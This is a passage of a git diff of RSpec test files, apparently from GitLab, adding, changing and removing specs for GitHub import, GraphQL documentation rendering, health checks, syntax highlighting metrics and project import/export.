+ stub_feature_flags(github_review_importer_query_only_unimported_merge_requests: false)
+ end
+
+ it 'fetchs the merged pull requests data' do
+ merge_request = create(
+ :merged_merge_request,
+ iid: 999,
+ source_project: project,
+ target_project: project
+ )
+
+ review = double
+
+ expect(review)
+ .to receive(:merge_request_id=)
+ .with(merge_request.id)
+
+ allow(client)
+ .to receive(:pull_request_reviews)
+ .exactly(:once) # ensure to be cached on the second call
+ .with('github/repo', merge_request.iid)
+ .and_return([review])
+
+ expect { |b| subject.each_object_to_import(&b) }
+ .to yield_with_args(review)
+
+ subject.each_object_to_import {}
+ end
end
end
end
diff --git a/spec/lib/gitlab/github_import/page_counter_spec.rb b/spec/lib/gitlab/github_import/page_counter_spec.rb
index a1305b714b5..568bc8cbbef 100644
--- a/spec/lib/gitlab/github_import/page_counter_spec.rb
+++ b/spec/lib/gitlab/github_import/page_counter_spec.rb
@@ -31,4 +31,15 @@ RSpec.describe Gitlab::GithubImport::PageCounter, :clean_gitlab_redis_cache do
expect(counter.current).to eq(2)
end
end
+
+ describe '#expire!' do
+ it 'expires the current page counter' do
+ counter.set(2)
+
+ counter.expire!
+
+ expect(Gitlab::Cache::Import::Caching.read_integer(counter.cache_key)).to be_nil
+ expect(counter.current).to eq(1)
+ end
+ end
end
diff --git a/spec/lib/gitlab/global_id/deprecations_spec.rb b/spec/lib/gitlab/global_id/deprecations_spec.rb
new file mode 100644
index 00000000000..22a4766c0a0
--- /dev/null
+++ b/spec/lib/gitlab/global_id/deprecations_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GlobalId::Deprecations do
+ include GlobalIDDeprecationHelpers
+
+ let_it_be(:deprecation_1) { described_class::Deprecation.new(old_model_name: 'Foo::Model', new_model_name: 'Bar', milestone: '9.0') }
+ let_it_be(:deprecation_2) { described_class::Deprecation.new(old_model_name: 'Baz', new_model_name: 'Qux::Model', milestone: '10.0') }
+
+ before do
+ stub_global_id_deprecations(deprecation_1, deprecation_2)
+ end
+
+ describe '.deprecated?' do
+ it 'returns a boolean to signal if model name has a deprecation', :aggregate_failures do
+ expect(described_class.deprecated?('Foo::Model')).to eq(true)
+ expect(described_class.deprecated?('Qux::Model')).to eq(false)
+ end
+ end
+
+ describe '.deprecation_for' do
+ it 'returns the deprecation for the model if it exists', :aggregate_failures do
+ expect(described_class.deprecation_for('Foo::Model')).to eq(deprecation_1)
+ expect(described_class.deprecation_for('Qux::Model')).to be_nil
+ end
+ end
+
+ describe '.deprecation_by' do
+ it 'returns the deprecation by the model if it exists', :aggregate_failures do
+ expect(described_class.deprecation_by('Foo::Model')).to be_nil
+ expect(described_class.deprecation_by('Qux::Model')).to eq(deprecation_2)
+ end
+ end
+
+ describe '.apply_to_graphql_name' do
+ it 'returns the corresponding graphql_name of the GID for the new model', :aggregate_failures do
+ expect(described_class.apply_to_graphql_name('FooModelID')).to eq('BarID')
+ expect(described_class.apply_to_graphql_name('BazID')).to eq('QuxModelID')
+ end
+
+ it 'returns the same value if there is no deprecation' do
+ expect(described_class.apply_to_graphql_name('ProjectID')).to eq('ProjectID')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/graphql/docs/renderer_spec.rb b/spec/lib/gitlab/graphql/docs/renderer_spec.rb
deleted file mode 100644
index 14db51deb88..00000000000
--- a/spec/lib/gitlab/graphql/docs/renderer_spec.rb
+++ /dev/null
@@ -1,639 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Graphql::Docs::Renderer do
- describe '#contents' do
- shared_examples 'renders correctly as GraphQL documentation' do
- it 'contains the expected section' do
- # duplicative - but much better error messages!
- section.lines.each { |line| expect(contents).to include(line) }
- expect(contents).to include(section)
- end
- end
-
- let(:template) { Rails.root.join('lib/gitlab/graphql/docs/templates/default.md.haml') }
- let(:field_description) { 'List of objects.' }
- let(:type) { ::GraphQL::INT_TYPE }
-
- let(:query_type) do
- Class.new(Types::BaseObject) { graphql_name 'Query' }.tap do |t|
- # this keeps type and field_description in scope.
- t.field :foo, type, null: true, description: field_description do
- argument :id, GraphQL::ID_TYPE, required: false, description: 'ID of the object.'
- end
- end
- end
-
- let(:mutation_root) do
- Class.new(::Types::BaseObject) do
- include ::Gitlab::Graphql::MountMutation
- graphql_name 'Mutation'
- end
- end
-
- let(:mock_schema) do
- Class.new(GraphQL::Schema) do
- def resolve_type(obj, ctx)
- raise 'Not a real schema'
- end
- end
- end
-
- subject(:contents) do
- mock_schema.query(query_type)
- mock_schema.mutation(mutation_root) if mutation_root.fields.any?
-
- described_class.new(
- mock_schema,
- output_dir: nil,
- template: template
- ).contents
- end
-
- describe 'headings' do
- it 'contains the expected sections' do
- expect(contents.lines.map(&:chomp)).to include(
- '## `Query` type',
- '## `Mutation` type',
- '## Connections',
- '## Object types',
- '## Enumeration types',
- '## Scalar types',
- '## Abstract types',
- '### Unions',
- '### Interfaces',
- '## Input types'
- )
- end
- end
-
- context 'when a field has a list type' do
- let(:type) do
- Class.new(Types::BaseObject) do
- graphql_name 'ArrayTest'
-
- field :foo, [GraphQL::STRING_TYPE], null: false, description: 'A description.'
- end
- end
-
- specify do
- type_name = '[String!]!'
- inner_type = 'string'
- expectation = <<~DOC
- ### `ArrayTest`
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="arraytestfoo"></a>`foo` | [`#{type_name}`](##{inner_type}) | A description. |
- DOC
-
- is_expected.to include(expectation)
- end
-
- describe 'a top level query field' do
- let(:expectation) do
- <<~DOC
- ### `Query.foo`
-
- List of objects.
-
- Returns [`ArrayTest`](#arraytest).
-
- #### Arguments
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="queryfooid"></a>`id` | [`ID`](#id) | ID of the object. |
- DOC
- end
-
- it 'generates the query with arguments' do
- expect(subject).to include(expectation)
- end
-
- context 'when description does not end with `.`' do
- let(:field_description) { 'List of objects' }
-
- it 'adds the `.` to the end' do
- expect(subject).to include(expectation)
- end
- end
- end
- end
-
- describe 'when fields are not defined in alphabetical order' do
- let(:type) do
- Class.new(Types::BaseObject) do
- graphql_name 'OrderingTest'
-
- field :foo, GraphQL::STRING_TYPE, null: false, description: 'A description of foo field.'
- field :bar, GraphQL::STRING_TYPE, null: false, description: 'A description of bar field.'
- end
- end
-
- it 'lists the fields in alphabetical order' do
- expectation = <<~DOC
- ### `OrderingTest`
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="orderingtestbar"></a>`bar` | [`String!`](#string) | A description of bar field. |
- | <a id="orderingtestfoo"></a>`foo` | [`String!`](#string) | A description of foo field. |
- DOC
-
- is_expected.to include(expectation)
- end
- end
-
- context 'when a field has a documentation reference' do
- let(:type) do
- wibble = Class.new(::Types::BaseObject) do
- graphql_name 'Wibble'
- field :x, ::GraphQL::INT_TYPE, null: false
- end
-
- Class.new(Types::BaseObject) do
- graphql_name 'DocRefSpec'
- description 'Testing doc refs'
-
- field :foo,
- type: GraphQL::STRING_TYPE,
- null: false,
- description: 'The foo.',
- see: { 'A list of foos' => 'https://example.com/foos' }
- field :bar,
- type: GraphQL::STRING_TYPE,
- null: false,
- description: 'The bar.',
- see: { 'A list of bars' => 'https://example.com/bars' } do
- argument :barity, ::GraphQL::INT_TYPE, required: false, description: '?'
- end
- field :wibbles,
- type: wibble.connection_type,
- null: true,
- description: 'The wibbles',
- see: { 'wibblance' => 'https://example.com/wibbles' }
- end
- end
-
- let(:section) do
- <<~DOC
- ### `DocRefSpec`
-
- Testing doc refs.
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="docrefspecfoo"></a>`foo` | [`String!`](#string) | The foo. See [A list of foos](https://example.com/foos). |
- | <a id="docrefspecwibbles"></a>`wibbles` | [`WibbleConnection`](#wibbleconnection) | The wibbles. See [wibblance](https://example.com/wibbles). (see [Connections](#connections)) |
-
- #### Fields with arguments
-
- ##### `DocRefSpec.bar`
-
- The bar. See [A list of bars](https://example.com/bars).
-
- Returns [`String!`](#string).
-
- ###### Arguments
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="docrefspecbarbarity"></a>`barity` | [`Int`](#int) | ?. |
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
-
- context 'when an argument is deprecated' do
- let(:type) do
- Class.new(Types::BaseObject) do
- graphql_name 'DeprecatedTest'
- description 'A thing we used to use, but no longer support'
-
- field :foo,
- type: GraphQL::STRING_TYPE,
- null: false,
- description: 'A description.' do
- argument :foo_arg, GraphQL::STRING_TYPE,
- required: false,
- description: 'The argument.',
- deprecated: { reason: 'Bad argument', milestone: '101.2' }
- end
- end
- end
-
- let(:section) do
- <<~DOC
- ##### `DeprecatedTest.foo`
-
- A description.
-
- Returns [`String!`](#string).
-
- ###### Arguments
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="deprecatedtestfoofooarg"></a>`fooArg` **{warning-solid}** | [`String`](#string) | **Deprecated** in 101.2. Bad argument. |
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
-
- context 'when a field is deprecated' do
- let(:type) do
- Class.new(Types::BaseObject) do
- graphql_name 'DeprecatedTest'
- description 'A thing we used to use, but no longer support'
-
- field :foo,
- type: GraphQL::STRING_TYPE,
- null: false,
- deprecated: { reason: 'This is deprecated', milestone: '1.10' },
- description: 'A description.'
- field :foo_with_args,
- type: GraphQL::STRING_TYPE,
- null: false,
- deprecated: { reason: 'Do not use', milestone: '1.10', replacement: 'X.y' },
- description: 'A description.' do
- argument :arg, GraphQL::INT_TYPE, required: false, description: 'Argity'
- end
- field :bar,
- type: GraphQL::STRING_TYPE,
- null: false,
- description: 'A description.',
- deprecated: {
- reason: :renamed,
- milestone: '1.10',
- replacement: 'Query.boom'
- }
- end
- end
-
- let(:section) do
- <<~DOC
- ### `DeprecatedTest`
-
- A thing we used to use, but no longer support.
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="deprecatedtestbar"></a>`bar` **{warning-solid}** | [`String!`](#string) | **Deprecated** in 1.10. This was renamed. Use: [`Query.boom`](#queryboom). |
- | <a id="deprecatedtestfoo"></a>`foo` **{warning-solid}** | [`String!`](#string) | **Deprecated** in 1.10. This is deprecated. |
-
- #### Fields with arguments
-
- ##### `DeprecatedTest.fooWithArgs`
-
- A description.
-
- WARNING:
- **Deprecated** in 1.10.
- Do not use.
- Use: [`X.y`](#xy).
-
- Returns [`String!`](#string).
-
- ###### Arguments
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="deprecatedtestfoowithargsarg"></a>`arg` | [`Int`](#int) | Argity. |
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
-
- context 'when a Query.field is deprecated' do
- before do
- query_type.field(
- name: :bar,
- type: type,
- null: true,
- description: 'A bar',
- deprecated: { reason: :renamed, milestone: '10.11', replacement: 'Query.foo' }
- )
- end
-
- let(:type) { ::GraphQL::INT_TYPE }
- let(:section) do
- <<~DOC
- ### `Query.bar`
-
- A bar.
-
- WARNING:
- **Deprecated** in 10.11.
- This was renamed.
- Use: [`Query.foo`](#queryfoo).
-
- Returns [`Int`](#int).
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
-
- context 'when a field has an Enumeration type' do
- let(:type) do
- enum_type = Class.new(Types::BaseEnum) do
- graphql_name 'MyEnum'
- description 'A test of an enum.'
-
- value 'BAZ',
- description: 'A description of BAZ.'
- value 'BAR',
- description: 'A description of BAR.',
- deprecated: { reason: 'This is deprecated', milestone: '1.10' }
- end
-
- Class.new(Types::BaseObject) do
- graphql_name 'EnumTest'
-
- field :foo, enum_type, null: false, description: 'A description of foo field.'
- end
- end
-
- let(:section) do
- <<~DOC
- ### `MyEnum`
-
- A test of an enum.
-
- | Value | Description |
- | ----- | ----------- |
- | <a id="myenumbar"></a>`BAR` **{warning-solid}** | **Deprecated:** This is deprecated. Deprecated in 1.10. |
- | <a id="myenumbaz"></a>`BAZ` | A description of BAZ. |
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
-
- context 'when a field has a global ID type' do
- let(:type) do
- Class.new(Types::BaseObject) do
- graphql_name 'IDTest'
- description 'A test for rendering IDs.'
-
- field :foo, ::Types::GlobalIDType[::User], null: true, description: 'A user foo.'
- end
- end
-
- describe 'section for IDTest' do
- let(:section) do
- <<~DOC
- ### `IDTest`
-
- A test for rendering IDs.
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="idtestfoo"></a>`foo` | [`UserID`](#userid) | A user foo. |
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
-
- describe 'section for UserID' do
- let(:section) do
- <<~DOC
- ### `UserID`
-
- A `UserID` is a global ID. It is encoded as a string.
-
- An example `UserID` is: `"gid://gitlab/User/1"`.
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
- end
-
- context 'when there is a mutation' do
- let(:mutation) do
- mutation = Class.new(::Mutations::BaseMutation)
-
- mutation.graphql_name 'MakeItPretty'
- mutation.description 'Make everything very pretty.'
-
- mutation.argument :prettiness_factor,
- type: GraphQL::FLOAT_TYPE,
- required: true,
- description: 'How much prettier?'
-
- mutation.argument :pulchritude,
- type: GraphQL::FLOAT_TYPE,
- required: false,
- description: 'How much prettier?',
- deprecated: {
- reason: :renamed,
- replacement: 'prettinessFactor',
- milestone: '72.34'
- }
-
- mutation.field :everything,
- type: GraphQL::STRING_TYPE,
- null: true,
- description: 'What we made prettier.'
-
- mutation.field :omnis,
- type: GraphQL::STRING_TYPE,
- null: true,
- description: 'What we made prettier.',
- deprecated: {
- reason: :renamed,
- replacement: 'everything',
- milestone: '72.34'
- }
-
- mutation
- end
-
- before do
- mutation_root.mount_mutation mutation
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation' do
- let(:section) do
- <<~DOC
- ### `Mutation.makeItPretty`
-
- Make everything very pretty.
-
- Input type: `MakeItPrettyInput`
-
- #### Arguments
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="mutationmakeitprettyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
- | <a id="mutationmakeitprettyprettinessfactor"></a>`prettinessFactor` | [`Float!`](#float) | How much prettier?. |
- | <a id="mutationmakeitprettypulchritude"></a>`pulchritude` **{warning-solid}** | [`Float`](#float) | **Deprecated:** This was renamed. Please use `prettinessFactor`. Deprecated in 72.34. |
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="mutationmakeitprettyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
- | <a id="mutationmakeitprettyerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
- | <a id="mutationmakeitprettyeverything"></a>`everything` | [`String`](#string) | What we made prettier. |
- | <a id="mutationmakeitprettyomnis"></a>`omnis` **{warning-solid}** | [`String`](#string) | **Deprecated:** This was renamed. Please use `everything`. Deprecated in 72.34. |
- DOC
- end
- end
-
- it 'does not render the automatically generated payload type' do
- expect(contents).not_to include('MakeItPrettyPayload')
- end
-
- it 'does not render the automatically generated input type as its own section' do
- expect(contents).not_to include('# `MakeItPrettyInput`')
- end
- end
-
- context 'when there is an input type' do
- let(:type) do
- Class.new(::Types::BaseObject) do
- graphql_name 'Foo'
- field :wibble, type: ::GraphQL::INT_TYPE, null: true do
- argument :date_range,
- type: ::Types::TimeframeInputType,
- required: true,
- description: 'When the foo happened.'
- end
- end
- end
-
- let(:section) do
- <<~DOC
- ### `Timeframe`
-
- A time-frame defined as a closed inclusive range of two dates.
-
- #### Arguments
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="timeframeend"></a>`end` | [`Date!`](#date) | The end of the range. |
- | <a id="timeframestart"></a>`start` | [`Date!`](#date) | The start of the range. |
- DOC
- end
-
- it_behaves_like 'renders correctly as GraphQL documentation'
- end
-
- context 'when there is an interface and a union' do
- let(:type) do
- user = Class.new(::Types::BaseObject)
- user.graphql_name 'User'
- user.field :user_field, ::GraphQL::STRING_TYPE, null: true
- group = Class.new(::Types::BaseObject)
- group.graphql_name 'Group'
- group.field :group_field, ::GraphQL::STRING_TYPE, null: true
-
- union = Class.new(::Types::BaseUnion)
- union.graphql_name 'UserOrGroup'
- union.description 'Either a user or a group.'
- union.possible_types user, group
-
- interface = Module.new
- interface.include(::Types::BaseInterface)
- interface.graphql_name 'Flying'
- interface.description 'Something that can fly.'
- interface.field :flight_speed, GraphQL::INT_TYPE, null: true, description: 'Speed in mph.'
-
- african_swallow = Class.new(::Types::BaseObject)
- african_swallow.graphql_name 'AfricanSwallow'
- african_swallow.description 'A swallow from Africa.'
- african_swallow.implements interface
- interface.orphan_types african_swallow
-
- Class.new(::Types::BaseObject) do
- graphql_name 'AbstractTypeTest'
- description 'A test for abstract types.'
-
- field :foo, union, null: true, description: 'The foo.'
- field :flying, interface, null: true, description: 'A flying thing.'
- end
- end
-
- it 'lists the fields correctly, and includes descriptions of all the types' do
- type_section = <<~DOC
- ### `AbstractTypeTest`
-
- A test for abstract types.
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="abstracttypetestflying"></a>`flying` | [`Flying`](#flying) | A flying thing. |
- | <a id="abstracttypetestfoo"></a>`foo` | [`UserOrGroup`](#userorgroup) | The foo. |
- DOC
-
- union_section = <<~DOC
- #### `UserOrGroup`
-
- Either a user or a group.
-
- One of:
-
- - [`Group`](#group)
- - [`User`](#user)
- DOC
-
- interface_section = <<~DOC
- #### `Flying`
-
- Something that can fly.
-
- Implementations:
-
- - [`AfricanSwallow`](#africanswallow)
-
- ##### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="flyingflightspeed"></a>`flightSpeed` | [`Int`](#int) | Speed in mph. |
- DOC
-
- implementation_section = <<~DOC
- ### `AfricanSwallow`
-
- A swallow from Africa.
-
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- | <a id="africanswallowflightspeed"></a>`flightSpeed` | [`Int`](#int) | Speed in mph. |
- DOC
-
- is_expected.to include(
- type_section,
- union_section,
- interface_section,
- implementation_section
- )
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/health_checks/redis/trace_chunks_check_spec.rb b/spec/lib/gitlab/health_checks/redis/trace_chunks_check_spec.rb
new file mode 100644
index 00000000000..5fb5232a4dd
--- /dev/null
+++ b/spec/lib/gitlab/health_checks/redis/trace_chunks_check_spec.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_relative '../simple_check_shared'
+
+RSpec.describe Gitlab::HealthChecks::Redis::TraceChunksCheck do
+ include_examples 'simple_check', 'redis_trace_chunks_ping', 'RedisTraceChunks', 'PONG'
+end
diff --git a/spec/lib/gitlab/health_checks/unicorn_check_spec.rb b/spec/lib/gitlab/health_checks/unicorn_check_spec.rb
deleted file mode 100644
index 1cc44016002..00000000000
--- a/spec/lib/gitlab/health_checks/unicorn_check_spec.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::HealthChecks::UnicornCheck do
- let(:result_class) { Gitlab::HealthChecks::Result }
- let(:readiness) { described_class.readiness }
- let(:metrics) { described_class.metrics }
-
- before do
- described_class.clear_memoization(:http_servers)
- end
-
- shared_examples 'with state' do |(state, message)|
- it "does provide readiness" do
- expect(readiness).to eq(result_class.new('unicorn_check', state, message))
- end
-
- it "does provide metrics" do
- expect(metrics).to include(
- an_object_having_attributes(name: 'unicorn_check_success', value: state ? 1 : 0))
- expect(metrics).to include(
- an_object_having_attributes(name: 'unicorn_check_latency_seconds', value: be >= 0))
- end
- end
-
- context 'when Unicorn is not loaded' do
- before do
- allow(Gitlab::Runtime).to receive(:unicorn?).and_return(false)
- hide_const('Unicorn')
- end
-
- it "does not provide readiness and metrics" do
- expect(readiness).to be_nil
- expect(metrics).to be_nil
- end
- end
-
- context 'when Unicorn is loaded' do
- let(:http_server_class) { Struct.new(:worker_processes) }
-
- before do
- allow(Gitlab::Runtime).to receive(:unicorn?).and_return(true)
- stub_const('Unicorn::HttpServer', http_server_class)
- end
-
- context 'when no servers are running' do
- it_behaves_like 'with state', [false, 'unexpected Unicorn check result: 0']
- end
-
- context 'when servers without workers are running' do
- before do
- http_server_class.new(0)
- end
-
- it_behaves_like 'with state', [false, 'unexpected Unicorn check result: 0']
- end
-
- context 'when servers with workers are running' do
- before do
- http_server_class.new(1)
- end
-
- it_behaves_like 'with state', true
- end
- end
-end
diff --git a/spec/lib/gitlab/highlight_spec.rb b/spec/lib/gitlab/highlight_spec.rb
index a5e4d37d306..1f06019c929 100644
--- a/spec/lib/gitlab/highlight_spec.rb
+++ b/spec/lib/gitlab/highlight_spec.rb
@@ -54,7 +54,7 @@ RSpec.describe Gitlab::Highlight do
end
it 'increments the metric for oversized files' do
- expect { result }.to change { over_highlight_size_limit('text highlighter') }.by(1)
+ expect { result }.to change { over_highlight_size_limit('file size: 0.0001') }.by(1)
end
it 'returns plain version for long content' do
@@ -143,9 +143,21 @@ RSpec.describe Gitlab::Highlight do
end
describe 'highlight timeouts' do
- context 'when there is a timeout error while highlighting' do
- let(:result) { described_class.highlight(file_name, content) }
+ let(:result) { described_class.highlight(file_name, content, language: "ruby") }
+
+ context 'when there is an attempt' do
+ it "increments the attempt counter with a defined language" do
+ expect { result }.to change { highlight_attempt_total("ruby") }
+ end
+
+ it "increments the attempt counter with an undefined language" do
+ expect do
+ described_class.highlight(file_name, content)
+ end.to change { highlight_attempt_total("undefined") }
+ end
+ end
+ context 'when there is a timeout error while highlighting' do
before do
allow(Timeout).to receive(:timeout).twice.and_raise(Timeout::Error)
# This is done twice because it's rescued first and then
@@ -177,6 +189,12 @@ RSpec.describe Gitlab::Highlight do
.get(source: source)
end
+ def highlight_attempt_total(source)
+ Gitlab::Metrics
+ .counter(:file_highlighting_attempt, 'Counts the times highlighting has been attempted on a file')
+ .get(source: source)
+ end
+
def over_highlight_size_limit(source)
Gitlab::Metrics
.counter(:over_highlight_size_limit,
diff --git a/spec/lib/gitlab/hook_data/issue_builder_spec.rb b/spec/lib/gitlab/hook_data/issue_builder_spec.rb
index 8f898d898de..8f976bcf09d 100644
--- a/spec/lib/gitlab/hook_data/issue_builder_spec.rb
+++ b/spec/lib/gitlab/hook_data/issue_builder_spec.rb
@@ -42,8 +42,10 @@ RSpec.describe Gitlab::HookData::IssueBuilder do
it 'includes additional attrs' do
expect(data).to include(:total_time_spent)
+ expect(data).to include(:time_change)
expect(data).to include(:human_time_estimate)
expect(data).to include(:human_total_time_spent)
+ expect(data).to include(:human_time_change)
expect(data).to include(:assignee_ids)
expect(data).to include(:state)
expect(data).to include('labels' => [label.hook_attrs])
diff --git a/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb b/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
index 0339faa9fcf..9e6ad35861f 100644
--- a/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
+++ b/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
@@ -57,8 +57,10 @@ RSpec.describe Gitlab::HookData::MergeRequestBuilder do
expect(data).to include(:last_commit)
expect(data).to include(:work_in_progress)
expect(data).to include(:total_time_spent)
+ expect(data).to include(:time_change)
expect(data).to include(:human_time_estimate)
expect(data).to include(:human_total_time_spent)
+ expect(data).to include(:human_time_change)
end
context 'when the MR has an image in the description' do
diff --git a/spec/lib/gitlab/import_export/after_export_strategies/web_upload_strategy_spec.rb b/spec/lib/gitlab/import_export/after_export_strategies/web_upload_strategy_spec.rb
index 38f1d48798b..451fd6c6f46 100644
--- a/spec/lib/gitlab/import_export/after_export_strategies/web_upload_strategy_spec.rb
+++ b/spec/lib/gitlab/import_export/after_export_strategies/web_upload_strategy_spec.rb
@@ -27,20 +27,30 @@ RSpec.describe Gitlab::ImportExport::AfterExportStrategies::WebUploadStrategy do
expect(subject.new(url: example_url, http_method: 'whatever')).not_to be_valid
end
- it 'onyl allow urls as upload urls' do
+ it 'only allow urls as upload urls' do
expect(subject.new(url: example_url)).to be_valid
expect(subject.new(url: 'whatever')).not_to be_valid
end
end
describe '#execute' do
- it 'removes the exported project file after the upload' do
- allow(strategy).to receive(:send_file)
- allow(strategy).to receive(:handle_response_error)
+ context 'when upload succeeds' do
+ before do
+ allow(strategy).to receive(:send_file)
+ allow(strategy).to receive(:handle_response_error)
+ end
+
+ it 'does not remove the exported project file after the upload' do
+ expect(project).not_to receive(:remove_exports)
- expect(project).to receive(:remove_exports)
+ strategy.execute(user, project)
+ end
- strategy.execute(user, project)
+ it 'has finished export status' do
+ strategy.execute(user, project)
+
+ expect(project.export_status).to eq(:finished)
+ end
end
context 'when upload fails' do
diff --git a/spec/lib/gitlab/import_export/all_models.yml b/spec/lib/gitlab/import_export/all_models.yml
index f81db1413c2..781c55f8d9b 100644
--- a/spec/lib/gitlab/import_export/all_models.yml
+++ b/spec/lib/gitlab/import_export/all_models.yml
@@ -342,10 +342,9 @@ container_repositories:
- project
- name
project:
-- external_approval_rules
+- external_status_checks
- taggings
- base_tags
-- tags
- topic_taggings
- topics
- chat_services
@@ -362,11 +361,11 @@ project:
- boards
- last_event
- integrations
-- campfire_service
-- confluence_service
-- datadog_service
-- discord_service
-- drone_ci_service
+- campfire_integration
+- confluence_integration
+- datadog_integration
+- discord_integration
+- drone_ci_integration
- emails_on_push_service
- pipelines_email_service
- mattermost_slash_commands_service
@@ -376,26 +375,25 @@ project:
- pivotaltracker_service
- prometheus_service
- flowdock_service
-- assembla_service
-- asana_service
+- assembla_integration
+- asana_integration
- slack_service
- microsoft_teams_service
- mattermost_service
- hangouts_chat_service
- unify_circuit_service
-- buildkite_service
-- bamboo_service
+- buildkite_integration
+- bamboo_integration
- teamcity_service
- pushover_service
- jira_service
- redmine_service
- youtrack_service
-- custom_issue_tracker_service
-- bugzilla_service
+- custom_issue_tracker_integration
+- bugzilla_integration
- ewm_service
- external_wiki_service
- mock_ci_service
-- mock_deployment_service
- mock_monitoring_service
- forked_to_members
- forked_from_project
@@ -571,6 +569,7 @@ project:
- exported_protected_branches
- incident_management_oncall_schedules
- incident_management_oncall_rotations
+- incident_management_escalation_policies
- debian_distributions
- merge_request_metrics
- security_orchestration_policy_configuration
@@ -624,6 +623,7 @@ metrics_setting:
- project
protected_environments:
- project
+- group
- deploy_access_levels
deploy_access_levels:
- protected_environment
diff --git a/spec/lib/gitlab/import_export/base/relation_factory_spec.rb b/spec/lib/gitlab/import_export/base/relation_factory_spec.rb
index df33b4896a4..6a7ff33465d 100644
--- a/spec/lib/gitlab/import_export/base/relation_factory_spec.rb
+++ b/spec/lib/gitlab/import_export/base/relation_factory_spec.rb
@@ -43,6 +43,15 @@ RSpec.describe Gitlab::ImportExport::Base::RelationFactory do
end
end
+ context 'when author relation' do
+ let(:relation_sym) { :author }
+ let(:relation_hash) { { 'name' => 'User', 'project_id' => project.id } }
+
+ it 'returns author hash unchanged' do
+ expect(subject).to eq(relation_hash)
+ end
+ end
+
context 'when #setup_models is not implemented' do
it 'raises NotImplementedError' do
expect { subject }.to raise_error(NotImplementedError)
diff --git a/spec/lib/gitlab/import_export/command_line_util_spec.rb b/spec/lib/gitlab/import_export/command_line_util_spec.rb
index 4000e303816..39a10f87083 100644
--- a/spec/lib/gitlab/import_export/command_line_util_spec.rb
+++ b/spec/lib/gitlab/import_export/command_line_util_spec.rb
@@ -42,6 +42,8 @@ RSpec.describe Gitlab::ImportExport::CommandLineUtil do
filename = File.basename(tempfile.path)
subject.gzip(dir: path, filename: filename)
+
+ expect(File.exist?("#{tempfile.path}.gz")).to eq(true)
end
context 'when exception occurs' do
@@ -50,4 +52,25 @@ RSpec.describe Gitlab::ImportExport::CommandLineUtil do
end
end
end
+
+ describe '#gunzip' do
+ it 'decompresses specified file' do
+ tmpdir = Dir.mktmpdir
+ filename = 'labels.ndjson.gz'
+ gz_filepath = "spec/fixtures/bulk_imports/gz/#{filename}"
+ FileUtils.copy_file(gz_filepath, File.join(tmpdir, filename))
+
+ subject.gunzip(dir: tmpdir, filename: filename)
+
+ expect(File.exist?(File.join(tmpdir, 'labels.ndjson'))).to eq(true)
+
+ FileUtils.remove_entry(tmpdir)
+ end
+
+ context 'when exception occurs' do
+ it 'raises an exception' do
+ expect { subject.gunzip(dir: path, filename: 'test') }.to raise_error(Gitlab::ImportExport::Error)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/import_export/decompressed_archive_size_validator_spec.rb b/spec/lib/gitlab/import_export/decompressed_archive_size_validator_spec.rb
index 96c467e78d6..fe3b638d20f 100644
--- a/spec/lib/gitlab/import_export/decompressed_archive_size_validator_spec.rb
+++ b/spec/lib/gitlab/import_export/decompressed_archive_size_validator_spec.rb
@@ -24,6 +24,14 @@ RSpec.describe Gitlab::ImportExport::DecompressedArchiveSizeValidator do
it 'returns true' do
expect(subject.valid?).to eq(true)
end
+
+ context 'when waiter thread no longer exists' do
+ it 'does not raise exception' do
+ allow(Process).to receive(:getpgid).and_raise(Errno::ESRCH)
+
+ expect(subject.valid?).to eq(true)
+ end
+ end
end
context 'when file exceeds allowed decompressed size' do
diff --git a/spec/lib/gitlab/import_export/group/tree_saver_spec.rb b/spec/lib/gitlab/import_export/group/tree_saver_spec.rb
index 908896e4891..c52daa8ccfd 100644
--- a/spec/lib/gitlab/import_export/group/tree_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/group/tree_saver_spec.rb
